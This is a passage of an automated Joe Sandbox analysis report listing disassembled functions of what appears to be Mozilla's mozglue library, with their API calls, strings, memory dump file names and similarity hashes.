Part of subcall function 6C5E9420: __Init_thread_footer.LIBCMT ref: 6C5E949F

GetCurrentThreadId.KERNEL32 ref: 6C5F0039
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5F0041
GetCurrentThreadId.KERNEL32 ref: 6C5F0075
AcquireSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5F0082
moz_xmalloc.MOZGLUE(00000048), ref: 6C5F0090
free.MOZGLUE(?), ref: 6C5F0104
ReleaseSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5F011B

Strings

[D %d/%d] profiler_register_page(%llu, %llu, %s, %llu), xrefs: 6C5F005B

Memory Dump Source

Source File: 00000000.00000002.2546525667.000000006C5A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546490354.000000006C5A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546605314.000000006C61D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546640267.000000006C62E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546670190.000000006C632000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease_getpidfreemoz_xmalloc
String ID: [D %d/%d] profiler_register_page(%llu, %llu, %s, %llu)
API String ID: 3012294017-637075127
Opcode ID: af18a1f1d78be552eb663957bd8412e6eed470eb56b6f980b9a215d414327fdc
Instruction ID: 0eb772bf9908e6596cba5fe7f507e46c04ecbb69b9be0c314c8e5e05914ccc09
Opcode Fuzzy Hash: af18a1f1d78be552eb663957bd8412e6eed470eb56b6f980b9a215d414327fdc
Instruction Fuzzy Hash: A4419CB1600654DFCB10CF65CC80A9ABBF1FF89318F44491EE95A93B40D735A805CF9A

Function 6C5B7E90 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 116stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C5B7EA7
malloc.MOZGLUE(00000001), ref: 6C5B7EB3

Part of subcall function 6C5BCAB0: EnterCriticalSection.KERNEL32(?), ref: 6C5BCB49
Part of subcall function 6C5BCAB0: LeaveCriticalSection.KERNEL32(?), ref: 6C5BCBB6

strncpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,00000000), ref: 6C5B7EC4
mozalloc_abort.MOZGLUE(?), ref: 6C5B7F19
malloc.MOZGLUE(?), ref: 6C5B7F36
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C5B7F4D

Strings

d, xrefs: 6C5B7F89

Memory Dump Source

Source File: 00000000.00000002.2546525667.000000006C5A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546490354.000000006C5A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546605314.000000006C61D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546640267.000000006C62E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546670190.000000006C632000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalSectionmalloc$EnterLeavememcpymozalloc_abortstrlenstrncpy
String ID: d
API String ID: 204725295-2564639436
Opcode ID: 675ea6bd66d6b45139d2589f8201d95b6ef2e13bff29204be089a5a19b7ed3bd
Instruction ID: 83313b412103125404552f21bd1eb796919a6c4a3b35b4f62e64ca8bac2aa9cd
Opcode Fuzzy Hash: 675ea6bd66d6b45139d2589f8201d95b6ef2e13bff29204be089a5a19b7ed3bd
Instruction Fuzzy Hash: 06312671E0438897DB019B39CC409FEB778EF96248F055229ED4967612FB34A988C398

Function 6C5B3E80 Relevance: 13.7, APIs: 9, Instructions: 246memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,?,?,?,?,?,?,6C5B3CCC), ref: 6C5B3EEE
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6C5B3FDC
RtlAllocateHeap.NTDLL(?,00000000,00000040,?,?,?,?,?,6C5B3CCC), ref: 6C5B4006
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6C5B40A1
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6C5B3CCC), ref: 6C5B40AF
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6C5B3CCC), ref: 6C5B40C2
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6C5B4134
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,00000040,?,?,?,?,?,6C5B3CCC), ref: 6C5B4143
RtlFreeUnicodeString.NTDLL(?,?,?,00000000,?,?,00000000,00000040,?,?,?,?,?,6C5B3CCC), ref: 6C5B4157

Memory Dump Source

Source File: 00000000.00000002.2546525667.000000006C5A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546490354.000000006C5A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546605314.000000006C61D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546640267.000000006C62E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546670190.000000006C632000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Free$Heap$StringUnicode$Allocate
String ID:
API String ID: 3680524765-0
Opcode ID: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction ID: 638c05664b1b9703153542f3fbf18edb8bb9a733c28869e8d6ff175399c6a648
Opcode Fuzzy Hash: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction Fuzzy Hash: 8AA17EB1A00215CFDB50CF68C89065ABBB5FF88318F2545A9D909AF752D771E886CBA0

Function 6C5A2030 Relevance: 13.7, APIs: 7, Strings: 2, Instructions: 204memoryCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,6C5C3F47,?,?,?,6C5C3F47,6C5C1A70,?), ref: 6C5A207F
memset.VCRUNTIME140(?,000000E5,6C5C3F47,?,6C5C3F47,6C5C1A70,?), ref: 6C5A20DD
VirtualFree.KERNEL32(00100000,00100000,00004000,?,6C5C3F47,6C5C1A70,?), ref: 6C5A211A
EnterCriticalSection.KERNEL32(6C62E744,?,6C5C3F47,6C5C1A70,?), ref: 6C5A2145
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004,?,6C5C3F47,6C5C1A70,?), ref: 6C5A21BA
EnterCriticalSection.KERNEL32(6C62E744,?,6C5C3F47,6C5C1A70,?), ref: 6C5A21E0
LeaveCriticalSection.KERNEL32(6C62E744,?,6C5C3F47,6C5C1A70,?), ref: 6C5A2232

Strings

MOZ_CRASH(), xrefs: 6C5A227D
MOZ_RELEASE_ASSERT(node->mArena == this), xrefs: 6C5A2253, 6C5A2268

Memory Dump Source

Source File: 00000000.00000002.2546525667.000000006C5A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546490354.000000006C5A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546605314.000000006C61D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546640267.000000006C62E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546670190.000000006C632000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalSection$EnterVirtual$AllocFreeLeavememcpymemset
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(node->mArena == this)
API String ID: 889484744-884734703
Opcode ID: 86f7b2715af6e9c6877d8ef67d9f51b278ee3edee4ddc2bc8f8011083f56c2d3
Instruction ID: f906794ea276d6b7bf528a3efdfbbbe4a353718c8b8b2fe4fc34d5b5ade621a2
Opcode Fuzzy Hash: 86f7b2715af6e9c6877d8ef67d9f51b278ee3edee4ddc2bc8f8011083f56c2d3
Instruction Fuzzy Hash: 8361C231F002168FCB04CAABCD8A76E76B1EF85318F254639E929A7A94D7749C01CA85

Function 6C5F9D00 Relevance: 13.7, APIs: 9, Instructions: 178timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C5F8273), ref: 6C5F9D65
free.MOZGLUE(6C5F8273,?), ref: 6C5F9D7C
free.MOZGLUE(?,?), ref: 6C5F9D92
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C5F9E0F
free.MOZGLUE(6C5F946B,?,?), ref: 6C5F9E24
free.MOZGLUE(?,?,?), ref: 6C5F9E3A
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C5F9EC8
free.MOZGLUE(6C5F946B,?,?,?), ref: 6C5F9EDF
free.MOZGLUE(?,?,?,?), ref: 6C5F9EF5

Memory Dump Source

Source File: 00000000.00000002.2546525667.000000006C5A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546490354.000000006C5A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546605314.000000006C61D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546640267.000000006C62E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546670190.000000006C632000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 787a0062091700d61be2b65576cfdc054fefc4eac589345f2f7d66a646773795
Instruction ID: 14cf36fab5c8c4ff030dd84be57df243b4357bda1339c2fbb0f3b53d882bc4a9
Opcode Fuzzy Hash: 787a0062091700d61be2b65576cfdc054fefc4eac589345f2f7d66a646773795
Instruction Fuzzy Hash: 1E719DB0A09B41CBC716CF58C88059AF3F4FF99314B84965DE95A9B701EB30E886CBD1

Function 6C5FDDC0 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE ref: 6C5FDDCF

Part of subcall function 6C5DFA00: ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C5DFA4B

Part of subcall function 6C5F90E0: free.MOZGLUE(?,00000000,?,?,6C5FDEDB), ref: 6C5F90FF
Part of subcall function 6C5F90E0: free.MOZGLUE(?,00000000,?,?,6C5FDEDB), ref: 6C5F9108

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5FDE0D
free.MOZGLUE(00000000), ref: 6C5FDE41
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5FDE5F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5FDEA3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5FDEE9
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C5EDEFD,?,6C5B4A68), ref: 6C5FDF32

Part of subcall function 6C5FDAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C5FDB86
Part of subcall function 6C5FDAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C5FDC0E

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C5EDEFD,?,6C5B4A68), ref: 6C5FDF65
free.MOZGLUE(?), ref: 6C5FDF80

Part of subcall function 6C5C5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C5C5EDB
Part of subcall function 6C5C5E90: memset.VCRUNTIME140(ew`l,000000E5,?), ref: 6C5C5F27
Part of subcall function 6C5C5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C5C5FB2

Memory Dump Source

Source File: 00000000.00000002.2546525667.000000006C5A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546490354.000000006C5A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546605314.000000006C61D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546640267.000000006C62E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546670190.000000006C632000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: free$CriticalImpl@detail@mozilla@@MutexSection$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedEnterExclusiveLeaveLockProfileReleasememset
String ID:
API String ID: 112305417-0
Opcode ID: a93f226ff001548a579bb6d5680957d14381645c5c3d1099f92fa9ebc7e4e195
Instruction ID: e9d9f3a7715c3da00ed2307247d91099d61ff5c943ff41bb846aa0dd65ddfe1b
Opcode Fuzzy Hash: a93f226ff001548a579bb6d5680957d14381645c5c3d1099f92fa9ebc7e4e195
Instruction Fuzzy Hash: C451A3726016009BE7199F28CC806AEB376AFD1308F95051CDA2A53B00DB31F91BCF96

Function 6C605D10 Relevance: 13.6, APIs: 9, Instructions: 126COMMON

Download Yara Rule

APIs

?_Fiopen@std@@YAPAU_iobuf@@PB_WHH@Z.MSVCP140(?,00000001,00000040,?,00000000,?,6C605C8C,?,6C5DE829), ref: 6C605D32
?getloc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000000,00000001,?,?,?,?,00000000,?,6C605C8C,?,6C5DE829), ref: 6C605D62
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000,?,?,?,?,00000000,?,6C605C8C,?,6C5DE829), ref: 6C605D6D
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,00000000,?,6C605C8C,?,6C5DE829), ref: 6C605D84
?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(?,?,?,?,00000000,?,6C605C8C,?,6C5DE829), ref: 6C605DA4
?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,?,?,?,?,00000000,?,6C605C8C,?,6C5DE829), ref: 6C605DC9
std::_Facet_Register.LIBCPMT ref: 6C605DDB
??1_Lockit@std@@QAE@XZ.MSVCP140(?,?,?,?,00000000,?,6C605C8C,?,6C5DE829), ref: 6C605E00
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,00000000,?,6C605C8C,?,6C5DE829), ref: 6C605E45

Memory Dump Source

Source File: 00000000.00000002.2546525667.000000006C5A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546490354.000000006C5A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546605314.000000006C61D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546640267.000000006C62E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546670190.000000006C632000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?getloc@?$basic_streambuf@Bid@locale@std@@D@std@@@std@@Facet_Fiopen@std@@Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterU?$char_traits@U_iobuf@@V42@@Vfacet@locale@2@Vlocale@2@abortstd::_
String ID:
API String ID: 2325513730-0
Opcode ID: 871dac4c81d3ed0953dd66f54eddc66779fee5913753c2f61b4aebdab8ac5640
Instruction ID: e30331564348a2ea0243372d30cab556a56615624ce3625c0d870351296d7690
Opcode Fuzzy Hash: 871dac4c81d3ed0953dd66f54eddc66779fee5913753c2f61b4aebdab8ac5640
Instruction Fuzzy Hash: 65417F307002058FCB14EF6AC9D8AAE77FAEF89314F044469D50AA7791DB34A805CB6D

Function 6C5DCC60 Relevance: 13.6, APIs: 7, Strings: 2, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00003000,00003000,00000004,?,?,?,6C5A31A7), ref: 6C5DCDDD

Strings

<jemalloc>, xrefs: 6C5DCF9F, 6C5DCFB3
: (malloc) Error in VirtualFree(), xrefs: 6C5DCFA4, 6C5DCFB8

Memory Dump Source

Source File: 00000000.00000002.2546525667.000000006C5A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546490354.000000006C5A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546605314.000000006C61D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546640267.000000006C62E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546670190.000000006C632000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 4275171209-2186867486
Opcode ID: 59991e841da24b02a7d6701440c61c268d3e8a587b7c6203eb3020ac1d84045a
Instruction ID: 998e27ab659295d1e5994167c4859d8b0af2eea0761ea0fb29930de1b0c23f75
Opcode Fuzzy Hash: 59991e841da24b02a7d6701440c61c268d3e8a587b7c6203eb3020ac1d84045a
Instruction Fuzzy Hash: B031C770B403069BEF11AFAD8C85BAE7775EB81754F214015F611EBA80DB74F900CB99

Function 6C5AECD0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143fileCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5AF100: LoadLibraryW.KERNEL32(shell32,?,6C61D020), ref: 6C5AF122
Part of subcall function 6C5AF100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C5AF132

moz_xmalloc.MOZGLUE(00000012), ref: 6C5AED50
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C5AEDAC
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,\Mozilla\Firefox\SkeletonUILock-,00000020,?,00000000), ref: 6C5AEDCC
CreateFileW.KERNEL32 ref: 6C5AEE08
free.MOZGLUE(00000000), ref: 6C5AEE27
free.MOZGLUE(?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 6C5AEE32

Part of subcall function 6C5AEB90: moz_xmalloc.MOZGLUE(00000104), ref: 6C5AEBB5
Part of subcall function 6C5AEB90: memset.VCRUNTIME140(00000000,00000000,00000104,?,?,6C5DD7F3), ref: 6C5AEBC3
Part of subcall function 6C5AEB90: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,?,?,?,?,?,?,6C5DD7F3), ref: 6C5AEBD6

Strings

\Mozilla\Firefox\SkeletonUILock-, xrefs: 6C5AEDC1

Memory Dump Source

Source File: 00000000.00000002.2546525667.000000006C5A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546490354.000000006C5A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546605314.000000006C61D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546640267.000000006C62E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546670190.000000006C632000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Filefreemoz_xmallocwcslen$AddressCreateLibraryLoadModuleNameProcmemset
String ID: \Mozilla\Firefox\SkeletonUILock-
API String ID: 1980384892-344433685
Opcode ID: ed7730c43932792132b6632c2cd87483b03c9e08a81952d9e3848b32a4ac58d0
Instruction ID: 98bbf4f3ef0777127e5ae27a845bd472b8300f5f5d205e968e16351221157966
Opcode Fuzzy Hash: ed7730c43932792132b6632c2cd87483b03c9e08a81952d9e3848b32a4ac58d0
Instruction Fuzzy Hash: 7551D071D05204CBDB00DFAACC806EEB7B1AF99318F44892DE8556B740E770695ACBA2

Function 6C61A520 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117COMMON

Download Yara Rule

APIs

?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C61A565

Part of subcall function 6C61A470: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C61A4BE
Part of subcall function 6C61A470: memcpy.VCRUNTIME140(?,?,00000000), ref: 6C61A4D6

?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE ref: 6C61A65B
?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C61A6B6

Strings

z, xrefs: 6C61A6AE
0, xrefs: 6C61A5FB

Memory Dump Source

Source File: 00000000.00000002.2546525667.000000006C5A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546490354.000000006C5A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546605314.000000006C61D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546640267.000000006C62E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546670190.000000006C632000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@$Ascii@CreateDtoaExponentialHandleMode@12@Representation@SpecialValues@memcpystrlen
String ID: 0$z
API String ID: 310210123-2584888582
Opcode ID: 353ff2b689af6809951fbe571db2c758c231e7299376bf09e47aaffb2fa8d897
Instruction ID: 915c25c0bad6a613ca7e3937631c18ba55314a02d7f2e53d91269edd6a871d94
Opcode Fuzzy Hash: 353ff2b689af6809951fbe571db2c758c231e7299376bf09e47aaffb2fa8d897
Instruction Fuzzy Hash: 4241357190C7459FC341DF28C480A8EBBE5BF89354F409A2EF49987651EB30EA49CB86

Function 6C5E9420 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 6C5DAB89: EnterCriticalSection.KERNEL32(6C62E370,?,?,?,6C5A34DE,6C62F6CC,?,?,?,?,?,?,?,6C5A3284), ref: 6C5DAB94
Part of subcall function 6C5DAB89: LeaveCriticalSection.KERNEL32(6C62E370,?,6C5A34DE,6C62F6CC,?,?,?,?,?,?,?,6C5A3284,?,?,6C5C56F6), ref: 6C5DABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C5B4A68), ref: 6C5E945E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C5E9470
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C5E9482
__Init_thread_footer.LIBCMT ref: 6C5E949F

Strings

MOZ_BASE_PROFILER_LOGGING, xrefs: 6C5E947D
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C5E946B
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C5E9459

Memory Dump Source

Source File: 00000000.00000002.2546525667.000000006C5A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546490354.000000006C5A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546605314.000000006C61D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546640267.000000006C62E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546670190.000000006C632000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: getenv$CriticalSection$EnterInit_thread_footerLeave
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING
API String ID: 4042361484-1628757462
Opcode ID: 289ca0ae295a1d3219f54df93742441ce228b5671d617e7840185ce4a8ec480a
Instruction ID: 0081f0393451ff0e005ba07dd94fe2a75616aa04fe90c0196bb49f527cd3ec27
Opcode Fuzzy Hash: 289ca0ae295a1d3219f54df93742441ce228b5671d617e7840185ce4a8ec480a
Instruction Fuzzy Hash: EA012430A0021197E7009B6EDC80A8A33B5AF4A329F040536ED0AC6F42E67BE8558D5F

Function 6C5F0F40 Relevance: 12.2, APIs: 8, Instructions: 171threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C5F0F6B
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C5F0F88
GetCurrentThreadId.KERNEL32 ref: 6C5F0FF7
InitializeConditionVariable.KERNEL32(?), ref: 6C5F1067
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(?,?,?), ref: 6C5F10A7
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(00000000,?), ref: 6C5F114B

Part of subcall function 6C5E8AC0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,6C601563), ref: 6C5E8BD5

free.MOZGLUE(?), ref: 6C5F1174
free.MOZGLUE(?), ref: 6C5F1186

Memory Dump Source

Source File: 00000000.00000002.2546525667.000000006C5A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546490354.000000006C5A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546605314.000000006C61D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546640267.000000006C62E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546670190.000000006C632000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ?profiler_capture_backtrace_into@baseprofiler@mozilla@@Buffer@2@CaptureChunkedCurrentNow@Options@2@@ProfileStackStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID:
API String ID: 2803333873-0
Opcode ID: 441e54d5f1ba146d7dba0d672967579636dd037b5972535edb80b6b7507001c5
Instruction ID: 5dc4cd5d72cd9a2c8126551d804169add4fd2bfe7fd077f56d23809184040024
Opcode Fuzzy Hash: 441e54d5f1ba146d7dba0d672967579636dd037b5972535edb80b6b7507001c5
Instruction Fuzzy Hash: 96618B75A043449BDB14DF25CC80B9AB7F6AFC5308F04891DE8A957712EB71E84ACF86

Function 6C5AB630 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(?,?,?,?,6C5AB61E,?,?,?,?,?,00000000), ref: 6C5AB6AC

Part of subcall function 6C5BCA10: malloc.MOZGLUE(?), ref: 6C5BCA26

memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C5AB61E,?,?,?,?,?,00000000), ref: 6C5AB6D1
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?,?,?,6C5AB61E,?,?,?,?,?,00000000), ref: 6C5AB6E3
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C5AB61E,?,?,?,?,?,00000000), ref: 6C5AB70B
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,6C5AB61E,?,?,?,?,?,00000000), ref: 6C5AB71D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,6C5AB61E), ref: 6C5AB73F
moz_xmalloc.MOZGLUE(80000023,?,?,?,6C5AB61E,?,?,?,?,?,00000000), ref: 6C5AB760
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,6C5AB61E,?,?,?,?,?,00000000), ref: 6C5AB79A

Memory Dump Source

Source File: 00000000.00000002.2546525667.000000006C5A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546490354.000000006C5A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546605314.000000006C61D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546640267.000000006C62E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2546670190.000000006C632000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

